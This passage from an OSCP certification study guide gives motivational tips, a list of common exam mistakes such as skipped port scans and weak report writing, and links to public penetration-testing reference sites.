9.Failing is learning. Many people fail OSCP on the first attempt. It doesn't mean you're not good enough. It means you need more practice.
10.Enumeration is 80% of hacking. If you enumerate well, exploitation becomes obvious. Don't skip steps.

Common Mistakes to Avoid

Not scanning all 65535 ports (you miss services on high ports)
Forgetting UDP scan (SNMP on UDP 161 is often the entry point)
Not checking robots.txt, sitemap.xml, page source code
Not trying default credentials on every login page
Spending too long on one machine (set a timer!)
Not reading exploit code before running it (it might need modifications)
Forgetting to screenshot flags
Bad report writing (no screenshots, missing steps, unclear explanation)
Using Metasploit on the wrong machine (save it for the hardest one)
Not practicing AD attacks enough (it's 40% of the exam!)

Useful Resources

GTFOBinshttps://gtfobins.github.io/
LOLBAS (Windows)https://lolbas-project.github.io/
RevShellshttps://www.revshells.com/
HackTrickshttps://book.hacktricks.xyz/
PayloadsAllTheThingshttps://github.com/swisskyrepo/PayloadsAllTheThings
ExploitDB / SearchSploithttps://www.exploit-db.com/ and searchsploit [query]
CyberChefhttps://gchq.github.io/CyberChef/
IppSec Videoshttps://www.youtube.com/@ippsec (best HTB walkthrough videos)

YOU GOT THIS. TRY HARDER.

"The OSCP exam is not about being the smartest hacker in the room.
It's about being the most persistent, methodical, and well-prepared one."

"Enumerate. Enumerate. Enumerate. Then enumerate some more."

Reactions

Related Articles